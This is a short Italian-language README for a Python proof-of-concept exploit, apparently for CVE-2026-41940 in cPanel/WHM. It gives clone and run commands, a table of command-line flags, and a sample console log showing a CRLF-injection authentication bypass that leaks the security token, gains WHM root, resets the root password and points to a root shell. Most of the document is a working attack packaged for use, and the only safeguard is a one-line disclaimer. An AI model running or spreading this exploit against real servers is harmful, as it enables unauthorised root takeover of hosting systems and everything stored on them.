
PoC in Python che sfrutta un bypass dell'autenticazione di cPanel/WHM tramite iniezione CRLF per far trapelare il token di sicurezza, propagare la sessione e reimpostare la password di root.
CVE-2026-41940 è un exploit proof-of-concept (PoC) che prende di mira cPanel/WHM. Questo exploit dimostra un bypass dell'autenticazione non autenticato tramite iniezione CRLF per sottrarre token di sicurezza e ottenere accesso a livello root all'interfaccia WHM, consentendo azioni come la modifica della password di root.
Avvertenza: Questo PoC è destinato esclusivamente a scopi educativi. Non utilizzarlo su sistemi senza autorizzazione.
cp_security_token.requests.git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
pip install requests
Requisiti:
requests,urllib3
python3 CVE_2026_41940.py --target <TARGET_URL> --password <NEW_PASSWORD>
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!
| Flag | Descrizione | Obbligatorio | Predefinito |
|---|---|---|---|
--target | URL di destinazione WHM (es. https://host:2087) | Sì | - |
--password | Nuova password per l'utente root | Sì | - |
--hostname | Sovrascrive l'header Host: | No | Auto |
La console mostra:
[0-4][+][!][*]Esempio:
[0] hostname = target.local
[1] minting a preauth session...
session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.12"}
[*] changing the root password
passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell